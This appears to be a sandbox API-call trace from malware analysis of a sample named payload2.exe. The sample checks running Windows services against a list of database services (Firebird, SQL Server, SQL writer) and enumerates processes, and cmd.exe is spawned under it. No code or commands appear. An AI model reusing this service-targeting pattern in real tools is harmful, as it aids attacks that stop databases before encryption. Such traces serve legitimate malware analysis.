	[0204.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0204.839] lstrlenW (lpString="NgcSvc") returned 6
	[0204.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0204.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0204.839] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0204.839] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0204.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0204.839] lstrlenW (lpString="NlaSvc") returned 6
	[0204.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0204.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0204.839] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0204.839] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0204.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0204.839] lstrlenW (lpString="nsi") returned 3
	[0204.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0204.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0204.839] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0204.840] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0204.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0204.840] lstrlenW (lpString="PcaSvc") returned 6
	[0204.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0204.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0204.840] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0204.840] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0204.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0204.840] lstrlenW (lpString="PlugPlay") returned 8
	[0204.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0204.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0204.840] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0204.840] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0204.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0204.840] lstrlenW (lpString="Power") returned 5
	[0204.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0204.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0204.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0204.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0204.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0204.840] lstrlenW (lpString="ProfSvc") returned 7
	[0204.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0204.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0204.840] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0204.840] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0204.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0204.840] lstrlenW (lpString="RpcEptMapper") returned 12
	[0204.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0204.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0204.840] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0204.840] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0204.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0204.840] lstrlenW (lpString="RpcSs") returned 5
	[0204.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0204.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0204.841] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0204.841] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0204.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0204.841] lstrlenW (lpString="SamSs") returned 5
	[0204.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0204.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0204.841] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0204.841] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0204.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0204.841] lstrlenW (lpString="Schedule") returned 8
	[0204.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0204.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0204.841] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0204.841] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0204.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0204.841] lstrlenW (lpString="SecurityHealthService") returned 21
	[0204.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0204.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0204.841] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0204.841] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0204.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0204.841] lstrlenW (lpString="SENS") returned 4
	[0204.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0204.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0204.841] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0204.841] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0204.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0204.841] lstrlenW (lpString="ShellHWDetection") returned 16
	[0204.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0204.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0204.841] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0204.842] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0204.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0204.842] lstrlenW (lpString="Spooler") returned 7
	[0204.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0204.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0204.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0204.842] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0204.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0204.842] lstrlenW (lpString="StateRepository") returned 15
	[0204.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0204.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0204.842] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0204.842] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0204.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0204.983] lstrlenW (lpString="SysMain") returned 7
	[0204.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0204.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0204.983] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0204.983] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0204.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0204.983] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0204.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0204.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0204.983] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0204.983] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0204.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0204.983] lstrlenW (lpString="Themes") returned 6
	[0204.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0204.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0204.983] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0204.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0204.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0204.983] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0204.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0204.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0204.984] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0204.984] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0204.984] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c4
	[0204.989] Process32FirstW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0204.990] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0204.990] lstrlenW (lpString="System") returned 6
	[0204.991] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0204.991] lstrlenW (lpString="smss.exe") returned 8
	[0204.991] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0204.992] lstrlenW (lpString="csrss.exe") returned 9
	[0204.992] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0204.992] lstrlenW (lpString="wininit.exe") returned 11
	[0204.992] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0204.993] lstrlenW (lpString="csrss.exe") returned 9
	[0204.993] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0204.993] lstrlenW (lpString="winlogon.exe") returned 12
	[0204.994] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0204.994] lstrlenW (lpString="services.exe") returned 12
	[0204.994] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0204.994] lstrlenW (lpString="lsass.exe") returned 9
	[0204.995] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0204.995] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0204.995] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0204.995] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0204.996] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.996] lstrlenW (lpString="svchost.exe") returned 11
	[0204.996] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.997] lstrlenW (lpString="svchost.exe") returned 11
	[0204.997] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0204.997] lstrlenW (lpString="dwm.exe") returned 7
	[0204.997] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.998] lstrlenW (lpString="svchost.exe") returned 11
	[0204.998] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.998] lstrlenW (lpString="svchost.exe") returned 11
	[0204.999] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.999] lstrlenW (lpString="svchost.exe") returned 11
	[0204.999] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.999] lstrlenW (lpString="svchost.exe") returned 11
	[0205.000] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.000] lstrlenW (lpString="svchost.exe") returned 11
	[0205.000] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.001] lstrlenW (lpString="svchost.exe") returned 11
	[0205.001] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.001] lstrlenW (lpString="svchost.exe") returned 11
	[0205.001] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.002] lstrlenW (lpString="svchost.exe") returned 11
	[0205.002] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.002] lstrlenW (lpString="svchost.exe") returned 11
	[0205.002] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.003] lstrlenW (lpString="svchost.exe") returned 11
	[0205.003] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0205.003] lstrlenW (lpString="spoolsv.exe") returned 11
	[0205.003] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.004] lstrlenW (lpString="svchost.exe") returned 11
	[0205.004] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0205.004] lstrlenW (lpString="audiodg.exe") returned 11
	[0205.004] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0205.005] lstrlenW (lpString="sihost.exe") returned 10
	[0205.005] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.005] lstrlenW (lpString="svchost.exe") returned 11
	[0205.005] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0205.006] lstrlenW (lpString="taskhostw.exe") returned 13
	[0205.006] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0205.006] lstrlenW (lpString="msoia.exe") returned 9
	[0205.006] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0205.007] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0205.007] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0205.007] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0205.007] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0205.008] lstrlenW (lpString="Memory Compression") returned 18
	[0205.008] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0205.008] lstrlenW (lpString="explorer.exe") returned 12
	[0205.009] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0205.009] lstrlenW (lpString="SearchUI.exe") returned 12
	[0205.009] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0205.009] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0205.010] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0205.010] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0205.011] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0205.012] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0205.012] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0205.012] lstrlenW (lpString="payload2.exe") returned 12
	[0205.012] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0205.013] lstrlenW (lpString="dllhost.exe") returned 11
	[0205.013] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0205.013] lstrlenW (lpString="payload2.exe") returned 12
	[0205.013] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0205.014] lstrlenW (lpString="cmd.exe") returned 7
	[0205.014] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf60, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0205.015] lstrlenW (lpString="conhost.exe") returned 11
